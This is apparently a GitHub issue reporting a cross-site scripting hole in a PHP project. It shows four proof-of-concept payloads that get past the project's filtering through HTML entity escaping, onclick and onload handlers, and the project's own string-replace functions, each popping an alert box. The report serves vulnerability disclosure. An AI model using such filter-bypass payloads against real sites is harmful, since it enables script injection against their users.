Inserting html code allows for javascript to be called #8

NoRelect · 2016-07-10T07:58:10Z

The fact that you can insert custom html allows for the onload method to be used to execute javascript. Combining this with the escaped html chars it also passes function replacement:

?> <button onclick="alert&#40;&#34;Hacked&#34;&#41;">Click me for action</button> <?php

The same is also possible with the following:

echo("<!DOCTYPE html><html><head>");
echo("<body onload=alert&#40;&#34;Hacked&#34;&#41;>");

It is also possible like this (unnecessary):

$decoded = jks_string_html_cd("&#60;script&#62;alert(&#34;hacked&#34;)&#60;/script&#62;");
echo("<!DOCTYPE html><head></head><body>");
echo($decoded);

or like this:

$m = "<pre>alert(^hacked^)</pre>";
$m = jks_string_repl("pre","script",$m);
$m = jks_string_repl("^","\"",$m);
echo("<!DOCTYPE html><head></head><body>");
echo($m);

NoRelect added the Security: Cross Site Scripting label Jul 10, 2016

NoRelect assigned julianschmuckli Jul 10, 2016

NoRelect changed the title ~~Inserting html code allows for javascript onload to be called~~ Inserting html code allows for javascript to be called Jul 10, 2016

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Inserting html code allows for javascript to be called #8

Inserting html code allows for javascript to be called #8

NoRelect commented Jul 10, 2016 •

edited

Loading

Inserting html code allows for javascript to be called #8

Inserting html code allows for javascript to be called #8

Comments

NoRelect commented Jul 10, 2016 • edited Loading

NoRelect commented Jul 10, 2016 •

edited

Loading